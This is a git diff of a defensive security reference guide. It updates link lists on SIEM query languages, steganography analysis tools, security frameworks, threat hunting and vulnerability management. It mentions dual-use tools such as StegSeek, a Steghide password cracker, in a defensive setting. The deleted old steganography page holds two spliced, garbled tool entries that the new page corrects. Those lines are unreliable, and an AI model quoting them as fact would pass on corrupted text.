Guide](https://logz.io/blog/elasticsearch-queries/) * [Elasticsearch: The Definitive Guide](https://www.elastic.co/guide/en/elasticsearch/guide/current/index.html) -* KQL: Kibana search language based on Lucene. - [Elastic KQL Docs](https://www.elastic.co/guide/en/kibana/master/kuery-query.html) +* [Elastic KQL Docs](https://www.elastic.co/guide/en/kibana/master/kuery-query.html) - Kibana Query Language, the default search language in Kibana. +* [Elastic EQL Docs](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html) - Event Query Language for event correlation and sequence matching. * _Threat Hunting in Elastic Stack: Lucene - pg. 212_ - -[Solr](https://solr.apache.org/) - Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene - -* [https://github.com/hectorcorrea/solr-for-newbies](https://github.com/hectorcorrea/solr-for-newbies) - -KQL - Kibana Query Language, the default query language of the Kibana search and alerting utility within Elastic Stack. - * _Threat Hunting in Elastic Stack: KQL - pg. 216_ +* _Threat Hunting in Elastic Stack: EQL - pg. 220_ -EQL - Elastic Query Language, an advanced query language developed by Elastic for use in their Security App. +### Solr -* _Threat Hunting in Elastic Stack: EQL - pg. 220_ +[Solr](https://solr.apache.org/) is an open-source enterprise search platform built on Apache Lucene. + +* [Solr for Newbies](https://github.com/hectorcorrea/solr-for-newbies) -## Splunk's SPL: Search Processing Language +## Splunk SPL: Search Processing Language * [Splunk Search Tutorial](https://docs.splunk.com/Documentation/Splunk/latest/SearchTutorial/Usethesearchlanguage) * [GoSplunk](https://gosplunk.com/) - A repository of Splunk queries. @@ -89,12 +88,18 @@ SecurityEvent ## Google Security Operations (YARA-L) -YARA-L is the detection language used by Google Security Operations (formerly Chronicle SIEM). Unlike standard YARA (used for file scanning), YARA-L is designed for log, event, and entity data. It excels at correlation logic, allowing analysts to link events over time (e.g., "User created" followed by "User logged in from unusual IP" within 10 minutes). +YARA-L is the detection language used by Google Security Operations (formerly Chronicle SIEM). Unlike standard YARA, which is used for file and malware pattern matching, YARA-L is designed for log, event, and entity data. It excels at correlation logic, allowing analysts to link events over time. * [**YARA-L syntax reference**](https://cloud.google.com/chronicle/docs/detection/yara-l-2-0-syntax) * [**Google SecOps Detection Rules**](https://github.com/chronicle/detection-rules) - Official repository of YARA-L detection rules. * [**Chronicle YARA-L 2.0 Overview**](https://cloud.google.com/chronicle/docs/detection/yara-l-2-0-overview) +For standard YARA rule writing, use the DFIR YARA page. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/yara.md" %} +[yara.md](../dfir-digital-forensics-and-incident-response/yara.md) +{% endcontent-ref %} + ## Osquery (SQL) [Osquery](https://osquery.io/) allows you to query your endpoints (Windows, macOS, Linux) as if they were a relational database. It abstracts operating system concepts (processes, kernel modules, open network connections, etc.) into SQL tables. Queries are written in standard SQLite syntax. @@ -131,13 +136,13 @@ While not strictly "query languages" for log analysis, Snort and Suricata rules ## Cloud Log Management ### AWS CloudWatch Logs Insights + AWS uses a proprietary query syntax for CloudWatch Logs Insights. It supports filtering, stats, and sorting. + * [**CloudWatch Logs Insights Query Syntax**](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html) ### Datadog -Datadog uses a custom search syntax for log management, often boolean-based with faceted search capabilities. -* [**Datadog Log Search Syntax**](https://docs.datadoghq.com/logs/explorer/search_syntax/) - +Datadog uses a custom search syntax for log management, often boolean-based with faceted search capabilities. -**** +* [**Datadog Log Search Syntax**](https://docs.datadoghq.com/logs/explorer/search_syntax/) diff --git a/blue-defense/steganography.md b/blue-defense/steganography.md new file mode 100644 index 0000000..021dc2b --- /dev/null +++ b/blue-defense/steganography.md @@ -0,0 +1,82 @@ +--- +description: I'm the data, playing the data, disguised as another data... +--- + +# Steganography + +**Steganography** is the practice of concealing a message, file, image, or video within another file, message, image, or video. Unlike cryptography, which scrambles data to make it unreadable, steganography hides the existence of the message. + +## Relevance to Defense + +For blue teamers and security analysts, steganography matters because: + +* **Malware communication:** Attackers may hide C2 traffic or configuration data inside images or legitimate-looking traffic. +* **Data exfiltration:** Insiders or malware may smuggle sensitive data out of a network inside benign-looking files. +* **Forensics:** Analysts may need to detect and extract hidden artifacts during investigations, malware analysis, or CTF-style training. + +## Common Techniques + +* **Least Significant Bit (LSB):** Modifies the last bit of image bytes to store hidden data while minimally changing the visible image. +* **End of File (EOF) / Injection:** Appends data after a file's normal end marker. +* **Metadata Manipulation:** Hides data in headers or metadata such as EXIF or ID3 tags. +* **Network Steganography:** Hides information in protocol headers, sequence numbers, or timing channels. + +## General Analysis Utilities + +* [CyberChef](https://gchq.github.io/CyberChef/) - Web app for encoding, decoding, compression, and data analysis. Useful for LSB extraction, XOR, and magic header detection. +* [Binwalk](https://github.com/ReFirmLabs/binwalk) - Detects and extracts embedded files and appended data. +* [ExifTool](https://exiftool.org/) - Reads, writes, and manipulates image, audio, video, and PDF metadata. +* [Strings](https://linux.die.net/man/1/strings) - Prints readable strings from files. Often a first check for unencrypted hidden text. + +These tools also overlap with DFIR file analysis workflows. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/file-analysis.md" %} +[file-analysis.md](../dfir-digital-forensics-and-incident-response/file-analysis.md) +{% endcontent-ref %} + +## General Purpose and Command-Line Tools + +* [Steghide](https://steghide.sourceforge.net/) - Classic program for hiding data in image and audio files. Still widely used in CTFs, but older. +* [StegSeek](https://github.com/RickdeJager/stegseek) - Fast replacement for StegCracker that can crack Steghide passwords. +* [OutGuess](https://www.kali.org/tools/outguess/) - Tool for inserting hidden information into redundant bits of data sources. +* [OpenStego](https://www.openstego.com/) - Open-source Java tool for data hiding and digital watermarking. + +## Image Analysis + +* [Forensically](https://29a.ch/photo-forensics/#forensic-magnifier) - Online forensic image analysis toolkit. +* [Aperi'Solve](https://aperisolve.fr/) - Online steganography analysis platform that combines common image-analysis tools. +* [StegSolve](https://github.com/Giotino/StegSolve) - Classic Java tool for analyzing image layers, planes, and filters. +* [StegoOnline](https://stegonline.georgeom.net/upload) - Web-based enhanced port of StegSolve for image plane and data analysis. +* [StegoToolKit](https://github.com/DominicBreuker/stego-toolkit) - Docker image with tools for steganography challenges. +* [zsteg](https://github.com/zed-0xff/zsteg) - Detects hidden data in PNG and BMP files. +* [Base64 to Image Converter](https://codebeautify.org/base64-to-image-converter) - Useful when Base64 strings may represent images. + +## Audio Steganography + +Hidden messages within audio files often require spectral analysis or specialized software. + +* [Audacity](https://www.audacityteam.org/) - Free audio editor useful for spectrogram and waveform analysis. +* [Sonic Visualiser](https://www.sonicvisualiser.org/) - Application for viewing and analyzing audio file contents. + +## Miscellaneous and Decoders + +* [WebQR](https://webqr.com/index.html) - Online QR code scanner. +* [Online Barcode Reader](https://online-barcode-reader.inliteresearch.com/) - Reads various barcode formats. + +## Guides and Collections + +* [0xRick's Stego Tool Collection](https://0xrick.github.io/lists/stego/) - Comprehensive list of steganography tools. +* [The Exo Guide to Data Cloaking](https://exo.substack.com/p/the-exo-guide-to-data-cloaking) - Guide on data hiding techniques. +* [Caesum's Stego Guide](http://www.caesum.com/) - Legacy CTF-oriented steganography resource. + +## Legacy / Older Utilities + +* [StegCracker](https://www.kali.org/tools/stegcracker/) - Deprecated brute-force utility for Steghide. Use StegSeek instead. +* [Snowdrop](https://www.kali.org/tools/snowdrop/) - Steganographic watermarking for text documents and C source code. +* [Stegsnow](https://www.kali.org/tools/stegsnow/) - Conceals messages in ASCII text by appending whitespace to the end of lines. + +Training rooms and CTF practice links are preserved in the Training section. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/blue-defense/stegonography.md b/blue-defense/stegonography.md deleted file mode 100644 index 4aaaab5..0000000 --- a/blue-defense/stegonography.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -description: I'm the data, playing the data, disguised as another data... ---- - -# Steganography - -**Steganography** is the practice of concealing a message, file, image, or video within another file, message, image, or video. Unlike cryptography, which scrambles data to make it unreadable, steganography hides the very existence of the message. - -## Relevance to Defense - -For blue teamers and security analysts, understanding steganography is crucial because: - -* **Malware Communication:** Attackers may use steganography to hide Command and Control (C2) traffic or configuration data within images or legitimate-looking traffic. -* **Data Exfiltration:** Insiders or malware might smuggle sensitive data out of a network hidden inside benign files. -* **Forensics:** Analysts must have the skills to detect and extract hidden artifacts during investigations or CTF challenges. - -## Common Techniques - -* **Least Significant Bit (LSB):** The most common technique where the last bit of a byte (which has the least effect on the visible value) is modified to store a bit of the secret message. In images, this changes the color value slightly, usually imperceptible to the human eye. -* **End of File (EOF) / Injection:** Appending data to the end of a file. Many file formats (like JPEG or PNG) have an "end" marker. Applications stop reading after this marker, but the file can store additional concealed data after it. -* **Metadata Manipulation:** Hiding data in the file headers or metadata (EXIF data in photos, ID3 tags in MP3s) rather than the content itself. -* **Network Steganography:** Hiding information in network protocol headers (e.g., TCP initial sequence numbers) or timing channels to bypass network filters. - -## Steganography Tools & Resources - -### General Analysis Utilities - -* [CyberChef](https://gchq.github.io/CyberChef/) - "The Cyber Swiss Army Knife". A web app for encryption, encoding, compression, and data analysis. It includes many recipes for steganography (LSB extraction, XOR, Magic header detection). -* [Binwalk](https://github.com/ReFirmLabs/binwalk) - A fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images. It is excellent for detecting appended data (EOF technique). -* [ExifTool](https://exiftool.org/) - The industry standard for reading, writing, and manipulating image, audio, video, and PDF metadata. -* [Strings](https://linux.die.net/man/1/strings) - A basic but essential command-line tool that prints the sequences of printable characters in a file. Often the first step in checking for unencrypted hidden text. - -### General Purpose & Command Line - -* [Steghide](http://steghide.sourceforge.net/) - A classic program that hides data in various kinds of image and audio files. Still widely used in CTFs but considers legacy technology. -* [StegSeek](https://github.com/RickdeJager/stegseek) - The modern, lightning-fast replacement for StegCracker. It can crack Steghide passwords millions of times faster than rockyou.txt. -* [OutGuess](https://www.kali.org/tools/outguess/) - A universal tool that allows the insertion of hidden information into the redundant bits of data sources. -* [OpenStego](https://www.openstego.com/) - An open-source Java tool that supports data hiding and digital watermarking. - -### Legacy / Older Utilities - -* [StegCracker](https://www.kali.org/tools/stegcracker/) - **Deprecated**. A brute-force utility for Steghide. Use **StegSeek** instead. -* [Snowdrop](https://www.kali.org/tools/snowdrop/) - Provides reliable, difficult-to-remove steganographic watermarking for text documents and C source code. -* [Stegsnow](https://www.kali.org/tools/stegsnow/) - Conceals messages in ASCII text by appending whitespaces to the end of lines. Because spaces and tabs are generally invisible in text viewers, the message remains hidden from casual observation. - -### Online Tools & Web Resources - -* [Online Steghide Tool](https://futureboy.us/stegano/) - A web interface for the Steghide program. -* [0xRick's Stego Tool Collection](https://0xrick.github.io/lists/stego/) - A comprehensive list of steganography tools. -* [The Exo Guide to Data Cloaking](https://exo.substack.com/p/the-exo-guide-to-data-cloaking) - An in-depth guide on data hiding techniques. -* [Caesum's Stego Guide](http://www.caesum.com/) - Extensive resources for CTF challenges and one of the best comprehensive guides on the subject. - -## Image Analysis - -Analyzing images for hidden data is a common task in forensics and CTFs ("Stego" challenges). - -* [Forensically](https://29a.ch/photo-forensics/#forensic-magnifier) - A powerful online tool for forensic image analysis (magnification, clone detection, noise analysis, etc.). -* [Aperi'Solve](https://aperisolve.fr/) - An onl) - A web-based, enhanced port of StegSolve for analyzing image planes and data. -* [StegSolve](https://github.com/Giotino/StegSolve) - A classic Java tool for analyzing image layers, planes, and applying various filters (XOR, etc.) to reveal hidden content. Essential for offline analysisike zsteg, steghide, outguess, exiftool, binwalk, foremost, and strings. -* [StegoOnline](https://stegonline.georgeom.net/upload) - A web-based, enhanced port of StegSolve for analyzing image planes and data. -* [StegoToolKit](https://github.com/DominicBreuker/stego-toolkit) - A Docker image pre-packaged with tools useful for solving steganography challenges. -* [zsteg](https://github.com/zed-0xff/zsteg) - A specialized tool to detect hidden data in PNG and BMP files. -* [Base64 to Image Converter](https://codebeautify.org/base64-to-image-converter) - Useful when finding Base64 encoded strings that might represent images. - -## Audio Steganography Tools - -Hidden messages within audio files often require spectral analysis or specialized software. - -* [Audacity](https://www.audacityteam.org/) - A free, open-source, multi-track audio editor and recorder. Useful for visualizing spectrograms and analyzing waveforms. -* [Sonic Visualiser](https://www.sonicvisualiser.org/) - An application for viewing and analyzing the contents of audio files. - -## Miscellaneous & Decoders - -* [WebQR](https://webqr.com/index.html) - Online QR code scanner. -* [Online Barcode Reader](https://online-barcode-reader.inliteresearch.com/) - Reads various barcode formats. -* [TryHackMe: CC Stego](https://tryhackme.com/room/ccstego) - A practice room to learn and test steganography skills. - diff --git a/blue-defense/terminology-and-mapping.md b/blue-defense/terminology-and-mapping.md index 8bc50f2..6947d23 100644 --- a/blue-defense/terminology-and-mapping.md +++ b/blue-defense/terminology-and-mapping.md @@ -1,5 +1,7 @@ # Standards, Frameworks, and Benchmarks +Use this page for defensive frameworks, control catalogs, maturity models, and mapping references that help defenders organize security programs and detection coverage. Tool-specific resources should live on the operational pages that use them. + ### [MITRE ATT\&CK™](https://attack.mitre.org/) With over a dozen tactics and hundreds of techniques, MITRE ATT\&CK has become the de facto standard for event mapping. It can be used defensively to map attacks against your network and to map your current visibility coverage, helping identify areas for growth. @@ -10,7 +12,6 @@ With over a dozen tactics and hundreds of techniques, MITRE ATT\&CK has become t * [ATT\&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - A web-based tool for annotating and exploring ATT\&CK matrices. It can be used to visualize defensive coverage, red/blue team planning, the frequency of detected techniques, and more. * [C.A.R. Cyber Analytics Repository](https://car.mitre.org/) - A knowledge base of analytics developed by [MITRE](https://www.mitre.org), based on the [MITRE ATT\&CK](https://attack.mitre.org/) adversary model. * [Malware Archaeology Windows Logging Cheat Sheets](https://github.com/MalwareArchaeology/ATTACK) - The gold standard for mapping Windows Event Logs to MITRE ATT\&CK techniques. -* [Caldera](https://github.com/mitre/caldera) - A scalable Automated Adversary Emulation Platform built around MITRE techniques. * [ATT\&CK® EVALUATIONS](https://attackevals.mitre-engenuity.org/) - Evaluations of security tools based on MITRE technique coverage. * [ATT\&CK Flow](https://github.com/center-for-threat-informed-defense/attack-flow) - Helps executives, SOC managers, and defenders understand how attackers compose techniques into attacks by modeling suspicious flows. * [Center for Threat-Informed Defense Work](https://ctid.mitre-engenuity.org/our-work/attack-flow) @@ -18,7 +19,6 @@ With over a dozen tactics and hundreds of techniques, MITRE ATT\&CK has become t * [Enterprise ATT\&CK Python Module](https://github.com/xakepnz/enterpriseattack) - A lightweight Python module to interact with the MITRE ATT\&CK Enterprise dataset. * [Mapping MITRE ATT\&CK with Windows Event Log IDs](https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/) * [Jai Minton's MITRE ATT\&CK Resources](https://www.jaiminton.com/mitreatt\&ck) -* [TryHackMe MITRE Room](https://tryhackme.com/room/mitre) ### Deprecated / Archived Projects @@ -38,10 +38,20 @@ Understanding both of these is valuable for both your organization and your own * [CIS Controls](https://www.cisecurity.org/controls/) * [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) +* [CIS Controls Guide](https://www.cisecurity.org/controls/) - Official implementation guidance and resources for the CIS Controls. * [CIS Community Defense Model](https://www.cisecurity.org/insights/white-papers/cis-community-defense-model) * [Cyber Attack Defense: CIS Benchmarks, CDM, and MITRE ATT\&CK](https://www.cisecurity.org/blog/cyber-attack-defense-cis-benchmarks-cdm-mitre-attck/) * [Why You Should Care About CIS v8](https://www.blackhillsinfosec.com/center-for-internet-security-cis-v8-why-you-should-care/) +### NIST Cybersecurity and Risk Management + +NIST publications are useful for building security programs, selecting controls, and understanding risk management at an organizational level. + +* [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework) - Voluntary guidance for organizing and improving cybersecurity risk management. +* [NIST-to-Tech](https://github.com/mikeprivette/NIST-to-Tech) - Open-source mapping of cybersecurity technologies to the NIST Cybersecurity Framework. +* [NIST SP 800-37 Rev. 2](https://csrc.nist.gov/pubs/sp/800/37/r2/final) - Risk Management Framework for Information Systems and Organizations. +* [NIST SP 800-53 Rev. 5](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) - Security and privacy control catalog for information systems and organizations. + ### Lockheed-Martin Cyber Kill-Chain This is a great format for visualizing the timeline of an attack. When responding to an event or alert, identify where it matches up on the kill-chain and remember to look for any evidence of activity that might fall before or after it in the chain. @@ -75,7 +85,6 @@ A common and reasonably popular format, though it lacks some granular classifica ### Other Standards * [CVSS (Common Vulnerability Scoring System)](https://www.first.org/cvss/) - The open industry standard for assessing the severity of computer system security vulnerabilities. -* [OWASP Top 10](https://owasp.org/www-project-top-ten/) - The standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications. * [STIX/TAXII](https://oasis-open.github.io/cti-documentation/) - Structured Threat Information Expression (STIX) is a language for describing cyber threat intelligence. Trusted Automated Exchange of Intelligence Information (TAXII) defines how STIX information is shared. * [STRIDE](https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats) - A threat modeling methodology. The acronym stands for Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. * [YARA](https://github.com/VirusTotal/yara) - The de facto standard mechanism for classifying and matching malware samples based on textual or binary patterns. @@ -90,6 +99,5 @@ A common and reasonably popular format, though it lacks some granular classifica * [CCPA (California Consumer Privacy Act)](https://www.oag.ca.gov/privacy/ccpa) is a data privacy law that took effect on January 1, 2020, in the State of California. It applies to businesses that collect California residents’ personal information, and its privacy requirements are similar to those of the EU’s GDPR (General Data Protection Regulation). * [Payment Card Industry (PCI) Data Security Standards (DSS)](https://docs.microsoft.com/en-us/microsoft-365/compliance/offering-pci-dss) is a global information security standard designed to prevent fraud through increased control of credit card data. * [SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) is an auditing procedure that ensures your service providers securely manage your data to protect the interests of your company/organization and the privacy of their clients. -* [NIST CSF](https://www.nist.gov/national-security-standards) is a voluntary framework primarily intended for critical infrastructure organizations to manage and mitigate cybersecurity risk based on existing best practices. * [Landlock LSM (Linux Security Module)](https://www.kernel.org/doc/html/latest/security/landlock.html) is a framework to create scoped access-control (sandboxing). Landlock is designed to be usable by unprivileged processes while following the system security policy enforced by other access control mechanisms (DAC, LSM, etc.). * [Secure Boot](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot) is a security standard developed by members of the PC industry to help make sure that a device boots (Unified Extensible Firmware Interface (UEFI) BIOS) using only software (such as bootloaders, OS, UEFI drivers, and utilities) that is trusted by the Original Equipment Manufacturer (OEM). diff --git a/blue-defense/threat-hunting.md b/blue-defense/threat-hunting.md index 6547071..68005c7 100644 --- a/blue-defense/threat-hunting.md +++ b/blue-defense/threat-hunting.md @@ -2,8 +2,6 @@ ## **Intro** -![](https://gblobscdn.gitbook.com/assets%2F-MQCNQTNhvnXD58Vo8Mf%2F-MS-KB8awA05FAZQytVw%2F-MS-KvDnsqWVg5ExVPRO%2Fimage.png?alt=media\&token=d9850058-0275-4b4c-ab63-92a82092b6d0)![](https://gblobscdn.gitbook.com/assets%2F-MQCNQTNhvnXD58Vo8Mf%2F-MS-KB8awA05FAZQytVw%2F-MS-Kx3vVxBJowwth4L5%2Fimage.png?alt=media\&token=2e0300fe-81d9-4e51-83cb-7fab2fb2aec7) - Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing how to begin and end a hunt is more important than knowing how to carry out a hunt. If you need a place to start, look at trends in the threat landscape and focus on threats that you do not have automated alerts/detections for. Hunting is a creative process that rewards those who take chances. Finish with something — anything actionable — so long as it provides value. ## Guides and Reference @@ -19,7 +17,6 @@ Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing * [awesome-threat-detection/The-Hunters-Handbook.pdf](https://github.com/0x4D31/awesome-threat-detection/blob/master/docs/The-Hunters-Handbook.pdf) * [ACM's Threat Hunting Labs](https://activecm.github.io/threat-hunting-labs/) - These are a series of labs that cover different types of analysis that can be done on network data when threat hunting. * [A Simple Hunting Maturity Model | Enterprise Detection & Response](https://detect-respond.blogspot.com/2015/10/a-simple-hunting-maturity-model.html) -* [HowToHunt](https://github.com/KathanP19/HowToHunt) - Tutorials and Things to Do while Hunting Vulnerability. * [ThreatHunting Home](https://www.threathunting.net/) - Links and Blog on popular threat hunting procedures * [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/) - JP-CERT analysis on detecting the use of multiple popular tools within a network environment. * [Microsoft's Threat Hunting Survival Guide](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE5aC6y?culture=en-us\&country=US) @@ -73,8 +70,7 @@ Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing * [Threat Hunting in Azure with AC-Hunter - Active Countermeasures](https://www.activecountermeasures.com/threat-hunting-in-azure-with-ac-hunter/) * [ThreatHunting/Microsoft Sentinel (formerly Azure Sentinel) at master · GossiTheDog/ThreatHunting](https://github.com/GossiTheDog/ThreatHunting/tree/master/AzureSentinel) * [GitHub - darkquasar/AzureHunter: A Cloud Forensics Powershell module to run threat hunting playbooks on data from Azure and O365](https://github.com/darkquasar/AzureHunter) -* [Microsoft 365 Defender Hunting Queries](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries) -* [Microsoft Defender for Endpoint (formerly ATP) Advanced Hunting Schema Reference](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/advanced-hunting-schema-reference) +* [Microsoft Defender Advanced Hunting Schema Reference](https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-schema-tables) * [Seven ways to spot business email compromise Office 365](https://expel.io/blog/seven-ways-to-spot-business-email-compromise-office-365/) * [Hunting Queries Detection Rules](https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules) @@ -98,7 +94,6 @@ Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing {% tabs %} {% tab title="OS/VM " %} -* [Commando VM](https://github.com/mandiant/commando-vm) - Complete Mandiant Offensive VM (Commando VM), a fully customizable Windows-based security distribution for penetration testing and red teaming. * [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - Virtual Machine for Adversary Emulation and Threat Hunting by [RedHunt Labs](https://redhuntlabs.com/) {% endtab %} @@ -116,7 +111,11 @@ Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing {% tab title="DNS" %} * [freq.py](https://github.com/sans-blue-team/freq.py) - Mark Baggett's tool for detecting randomness using NLP techniques rather than pure entropy calculations. Uses character pair frequency analysis to determine the likelihood of tested strings of characters occurring. * [domain\_stats](https://github.com/MarkBaggett/domain\_stats) - Domain\_stats is a log enhancement utility that is intended to help you find threats in your environment. It will identify the following possible threats in your environment. -* [dnstwist](https://github.com/elceef/dnstwist) - Domain name permutation engine for detecting homograph phishing attacks, typo squatting, and brand impersonation +* Domain permutation and typo-squatting tools such as dnstwist are covered in Domain OSINT. + +{% content-ref url="../cyber-intelligence/osint/domain.md" %} +[domain.md](../cyber-intelligence/osint/domain.md) +{% endcontent-ref %} {% endtab %} @@ -127,14 +126,14 @@ Threat hunting doesn’t have to be complex, but it isn't for everyone. Knowing * [LogonTracer](https://github.com/JPCERTCC/LogonTracer) - LogonTracer is a tool to investigate malicious logon by visualizing and analyzing Windows Active Directory event logs. * [APT-Hunter](https://github.com/ahmedkhlief/APT-Hunter) - Threat Hunting tool for windows event logs which made by purple team mindset to provide detect APT movements hidden in the sea of windows event logs to decrease the time to uncover suspicious activity * [CyberChef](https://gchq.github.io/CyberChef/) - The "Cyber Swiss Army Knife" - a web app for encryption, encoding, compression and data analysis. -* [Mihari ](https://github.com/ninoseki/mihari)- A framework for continuous OSINT based threat hunting * [Oriana](https://github.com/mvelazc0/Oriana) - A threat hunting tool that leverages a subset of Windows events to build relationships, calculate totals and run analytics. The results are presented in a Web layer to help defenders identify outliers and suspicious behavior on corporate environments. * [Zircolite](https://github.com/wagga40/Zircolite) - A standalone SIGMA-based detection tool for EVTX. * [chainsaw](https://github.com/WithSecureLabs/chainsaw) - Rapidly Search and Hunt through Windows Event Logs -* [THOR Lite](https://www.nextron-systems.com/thor-lite/) - fast and flexible multi-platform IOC and [YARA](http://virustotal.github.io/yara/) scanner - * [LOKI](https://github.com/Neo23x0/LOKI) - Simple IOC and Incident Response Scanner - * [Signature Base](https://github.com/Neo23x0/signature-base) - * [Valhalla](https://www.nextron-systems.com/valhalla/) +* For THOR Lite, Loki, signature-base, Valhalla, and YARA scanning, use DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} {% endtab %} diff --git a/blue-defense/vulnerability-management..md b/blue-defense/vulnerability-management..md deleted file mode 100644 index ec1f908..0000000 --- a/blue-defense/vulnerability-management..md +++ /dev/null @@ -1,95 +0,0 @@ -# Asset and Vulnerability Management - -## Asset Management - -### Sources of Asset Data - -* ARP Cache - Contains IP and MAC addresses -* DHCP logs - IP addresses and Hostnames -* NMAP Scans - IP Addresses, Open Ports, Running Services, and Operating System detection -* Powershell commands - System information, installed software, network configuration, and user details -* SNMP - Device information, network statistics, and system status -* Vulnerability Management Software -* Windows Management Interface -* EDR/IR Tools (Velociraptor) - -### Management Tools - -* [Netdisco](http://netdisco.org/) - Netdisco is a web-based network management tool suitable for small to very large networks. IP and MAC address data is collected into a PostgreSQL database using SNMP, CLI, or device APIs. -* [runZero](https://www.runzero.com/) - (Formerly Rumble) Simple, fast, and accurate asset inventory and network discovery. Uses unauthenticated active scanning. - -### MAC Address Lookup - -* [MAC Vendor Lookup](https://www.macvendorlookup.com/) - Look up the vendor for a specific MAC Address -* [macvendors.com](https://macvendors.com/) - Find MAC Address Vendors. -* [macaddress.io](https://macaddress.io/) - MAC address vendor lookup -* [maclookup.app](https://maclookup.app/) - Find the vendor name of a device by entering an OUI or a MAC address - -### References - -* _Defensive Security Handbook - pg. 13_ - -## Vulnerability Management - -For Vulnerability Scanning Tools, please refer to: - -{% embed url="https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/testing-methodology/scanning-active-recon#vulnerability-scanning" %} -Contains Vulnerability Scanning tools used for both Offensive and Defensive purposes. -{% endembed %} - -### Scanning Techniques - -* **Authenticated Scanning**: The scanner logs into the target system using credentials (SSH, SMB, etc.) to inspect installed software, configurations, and patches from the inside. This provides the most accurate results and reduces false positives. -* **Unauthenticated Scanning**: The scanner assesses the target from the network perspective without logging in. It identifies open ports, services, and vulnerabilities exposed to the network but misses internal configuration issues. -* **Agent-based Scanning**: Lightweight software agents are installed on endpoints to report system state and vulnerabilities to a central server. This allows for continuous monitoring even when devices are off the corporate network. - -### Vulnerability Databases & Intelligence - -* [Rapid7 Vulnerability & Exploit Database](https://www.rapid7.com/db/) is a curated repository of vetted computer software exploits and exploitable vulnerabilities. Technical details for over 180,000 vulnerabilities and 4,000 exploits are available for security professionals and researchers to review. -* [NIST NVD](https://nvd.nist.gov/vuln/search) - National Vulnerability Database -* [MITRE CVE](https://cve.mitre.org/cve/search_cve_list.html) - Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities -* [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub originated security advisories -* [cloudvulndb.org](https://www.cloudvulndb.org/) - The Open Cloud Vulnerability & Security Issue Database -* [osv.dev](https://osv.dev/list) - Open Source Vulnerabilities -* [Vulners.com](https://vulners.com/) - Your Search Engine for Security Intelligence -* [opencve.io](https://www.opencve.io/cve) - Easiest way to track CVE updates and be alerted about new vulnerabilities -* [security.snyk.io](https://security.snyk.io/) - Open Source Vulnerability Database -* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - The largest open source vulnerability DB -* [CVEDetails](https://www.cvedetails.com/) - The ultimate security vulnerability datasource -* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses in open source applications and cloud native infrastructure -* [Vulmon](https://vulmon.com/) - Vulnerability and exploit search engine -* [VulDB](https://vuldb.com/) - Number one vulnerability database -* _Defensive Security Handbook: Vulnerability Management - pg. 169_ - -### Risk Scoring & Prioritization - -* [CISA Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - A living list of vulnerabilities that have been exploited in the wild. A critical resource for prioritizing remediation. -* [EPSS (Exploit Prediction Scoring System)](https://www.first.org/epss/) - A data-driven effort for estimating the likelihood (probability) that a software vulnerability will be exploited in the wild. -* [SSVC (Stakeholder-Specific Vulnerability Categorization)](https://github.com/CERTCC/SSVC) - A decision tree model for prioritizing vulnerability response based on exploitation status, technical impact, safety impact, and mission prevalence. -* [CVSS (Common Vulnerability Scoring System)](https://www.first.org/cvss/) - The industry standard for assessing the severity of computer system security vulnerabilities. - - -### Standards and Supply Chain Security - -* **CPE (Common Platform Enumeration)**: A structured naming scheme for information technology systems, software, and packages. -* **SBOM (Software Bill of Materials)**: A comprehensive inventory of software components, dependencies, and licenses. Key formats include [CycloneDX](https://cyclonedx.org/) and [SPDX](https://spdx.dev/). Crucial for identifying risks in the software supply chain. -### OpenScap - - -The [OpenSCAP](https://www.open-scap.org/) ecosystem provides multiple tools to assist administrators and auditors with assessment, measurement, and enforcement of security baselines. The tool is characterized for its great flexibility and interoperability, reducing the costs of performing security audits. - -* Latest compiled SCAP packages: [ComplianceAsCode Releases](https://github.com/ComplianceAsCode/content/releases/tag/v0.1.50) -* Github Repo: [ComplianceAsCode Content](https://github.com/ComplianceAsCode/content) -* `oscap` cmdline tool user manual: [OpenSCAP User Manual](http://static.open-scap.org/openscap-1.2/oscap_user_manual.html) -* Great Red Hat Documentation on OpenSCAP: [Red Hat Security Guide](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sect-scanning_the_system_in_oscap) -* Security Hardening with OpenSCAP: [Red Hat Enterprise Linux 9 